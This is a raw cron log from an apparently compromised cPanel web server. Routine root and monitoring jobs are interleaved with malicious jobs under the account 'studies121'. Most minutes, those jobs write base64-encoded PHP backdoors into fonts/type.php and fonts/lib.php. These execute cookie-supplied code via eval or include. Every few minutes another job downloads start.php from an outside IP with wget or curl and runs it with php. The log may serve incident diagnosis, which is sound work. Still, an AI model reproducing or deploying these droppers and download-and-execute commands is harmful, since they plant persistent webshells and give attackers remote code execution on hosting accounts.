Sep  2 06:34:01 ip-184-168-122-23 CROND[30233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:34:01 ip-184-168-122-23 CROND[30234]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:34:01 ip-184-168-122-23 CROND[30236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:34:01 ip-184-168-122-23 CROND[30237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:35:02 ip-184-168-122-23 CROND[30357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:35:02 ip-184-168-122-23 CROND[30359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:35:02 ip-184-168-122-23 CROND[30361]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 06:35:02 ip-184-168-122-23 CROND[30360]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 06:35:02 ip-184-168-122-23 CROND[30364]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:35:02 ip-184-168-122-23 CROND[30366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:35:02 ip-184-168-122-23 CROND[30367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:35:02 ip-184-168-122-23 CROND[30368]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:36:01 ip-184-168-122-23 CROND[30592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:36:01 ip-184-168-122-23 CROND[30594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:36:01 ip-184-168-122-23 CROND[30598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:36:01 ip-184-168-122-23 CROND[30599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:36:01 ip-184-168-122-23 CROND[30600]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:37:01 ip-184-168-122-23 CROND[30728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:37:01 ip-184-168-122-23 CROND[30733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:37:01 ip-184-168-122-23 CROND[30734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:37:01 ip-184-168-122-23 CROND[30735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:38:01 ip-184-168-122-23 CROND[30870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:38:01 ip-184-168-122-23 CROND[30872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:38:01 ip-184-168-122-23 CROND[30874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:38:01 ip-184-168-122-23 CROND[30873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:38:01 ip-184-168-122-23 CROND[30875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:39:01 ip-184-168-122-23 CROND[31000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:39:01 ip-184-168-122-23 CROND[31003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:39:01 ip-184-168-122-23 CROND[31005]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 06:39:01 ip-184-168-122-23 CROND[31008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:39:01 ip-184-168-122-23 CROND[31011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:40:01 ip-184-168-122-23 CROND[31122]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 06:40:01 ip-184-168-122-23 CROND[31126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:40:01 ip-184-168-122-23 CROND[31125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:40:01 ip-184-168-122-23 CROND[31128]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:40:01 ip-184-168-122-23 CROND[31129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:40:01 ip-184-168-122-23 CROND[31132]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:40:01 ip-184-168-122-23 CROND[31131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:40:01 ip-184-168-122-23 CROND[31134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:41:01 ip-184-168-122-23 CROND[31345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:41:01 ip-184-168-122-23 CROND[31346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:41:01 ip-184-168-122-23 CROND[31348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:41:01 ip-184-168-122-23 CROND[31347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:42:01 ip-184-168-122-23 CROND[31469]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:42:01 ip-184-168-122-23 CROND[31473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:42:01 ip-184-168-122-23 CROND[31471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:42:01 ip-184-168-122-23 CROND[31472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:42:01 ip-184-168-122-23 CROND[31474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:43:01 ip-184-168-122-23 CROND[31701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:43:01 ip-184-168-122-23 CROND[31702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:43:01 ip-184-168-122-23 CROND[31700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:43:01 ip-184-168-122-23 CROND[31703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:44:01 ip-184-168-122-23 CROND[31788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:44:01 ip-184-168-122-23 CROND[31789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:44:01 ip-184-168-122-23 CROND[31790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:44:01 ip-184-168-122-23 CROND[31794]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:44:01 ip-184-168-122-23 CROND[31797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:45:01 ip-184-168-122-23 CROND[31904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:45:01 ip-184-168-122-23 CROND[31906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:45:01 ip-184-168-122-23 CROND[31909]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:45:01 ip-184-168-122-23 CROND[31907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:45:01 ip-184-168-122-23 CROND[31910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:45:01 ip-184-168-122-23 CROND[31908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
